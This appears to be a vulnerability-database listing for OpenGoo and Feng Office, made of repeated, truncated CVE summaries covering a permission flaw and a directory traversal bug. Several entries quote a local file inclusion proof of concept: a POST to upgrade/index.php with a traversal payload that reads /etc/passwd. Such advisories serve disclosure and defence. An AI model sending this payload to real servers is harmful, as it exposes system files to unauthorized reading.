EUVD-2009-0804

Malware in sbrugna...

EUVD-2009-0291

Malware in sbrugna...

Feng Office 代码问题漏洞

Feng Office formerly known as OpenGoo is an open source online office system by the Feng Office team. The system provides task management, schedule management, document management and Email sending and receiving functions. A code issue vulnerability exists in Feng Office version 3.2.2.1, which...

CVE-2009-0806

Unspecified vulnerability in OpenGoo before 1.2.1 allows remote authenticated users to modify their own permissions via unknown attack vectors...

CVE-2009-0806

Unspecified vulnerability in OpenGoo before 1.2.1 allows remote authenticated users to modify their own permissions via unknown attack vectors...

Design/Logic Flaw

Unspecified vulnerability in OpenGoo before 1.2.1 allows remote authenticated users to modify their own permissions via unknown attack vectors...

CVE-2009-0806

Unspecified vulnerability in OpenGoo before 1.2.1 allows remote authenticated users to modify their own permissions via unknown attack vectors...

CVE-2009-0806

Technical details about CVE-2009-0806 are not publicly available in the provided documents; no specifics on affected version(s), root cause, or fix are included. Monitor for updates.

CVE-2009-0286

Directory traversal vulnerability in upgrade/index.php in OpenGoo 1.1, when registerglobals is enabled and magicquotesgpc is disabled, allows remote attackers to read arbitrary files via a .. dot dot in the formdatascriptclass parameter...

Directory traversal

Directory traversal vulnerability in upgrade/index.php in OpenGoo 1.1, when registerglobals is enabled and magicquotesgpc is disabled, allows remote attackers to read arbitrary files via a .. dot dot in the formdatascriptclass parameter...

CVE-2009-0286

OpenGoo 1.1 is affected by a directory traversal vulnerability in upgrade/index.php. If register_globals is enabled and magic_quotes_gpc is disabled, an attacker can read arbitrary files via a .. in the form_data[script_class] parameter. This is the concrete vulnerability described across the CVE...

CVE-2009-0286

Directory traversal vulnerability in upgrade/index.php in OpenGoo 1.1, when registerglobals is enabled and magicquotesgpc is disabled, allows remote attackers to read arbitrary files via a .. dot dot in the formdatascriptclass parameter...

OpenGoo 1.1 Local File Inclusion

OpenGoo 1.1 Local File Inclusion http://www.opengoo.org/ magicquotesgpc = Off registerglobals = On http://site/opengoo/public/upgrade/index.php POST: formdatascriptclass=/../../../../../../../../../../../etc/passwd%00.html Author Notified: Jan. 18 http://nukeit.org...

OpenGoo 1.1 - Local File Inclusion

OpenGoo 1.1 - Local File Inclusion OpenGoo 1.1 Local File Inclusion http://www.opengoo.org/ magicquotesgpc = Off registerglobals = On http://site/opengoo/public/upgrade/index.php POST: formdatascriptclass=/../../../../../../../../../../../etc/passwd%00.html Author Notified: Jan. 18...

OpenGoo 1.1 (script_class) Local File Inclusion Vulnerability

No description provided by source. OpenGoo 1.1 Local File Inclusion http://www.opengoo.org/ magicquotesgpc = Off registerglobals = On http://site/opengoo/public/upgrade/index.php POST: formdatascriptclass=/../../../../../../../../../../../etc/passwd%00.html Author Notified: Jan. 18...

OpenGoo 1.1 - Local File Inclusion

OpenGoo 1.1 Local File Inclusion http://www.opengoo.org/ magicquotesgpc = Off registerglobals = On http://site/opengoo/public/upgrade/index.php POST: formdatascriptclass=/../../../../../../../../../../../etc/passwd%00.html Author Notified: Jan. 18 http://nukeit.org milw0rm.com 2009-01-25...

OpenGoo 1.1 (script_class) Local File Inclusion Vulnerability

Exploit for unknown platform in category web applications ============================================================= OpenGoo 1.1 scriptclass Local File Inclusion Vulnerability ============================================================= OpenGoo 1.1 Local File Inclusion http://www.opengoo.org/...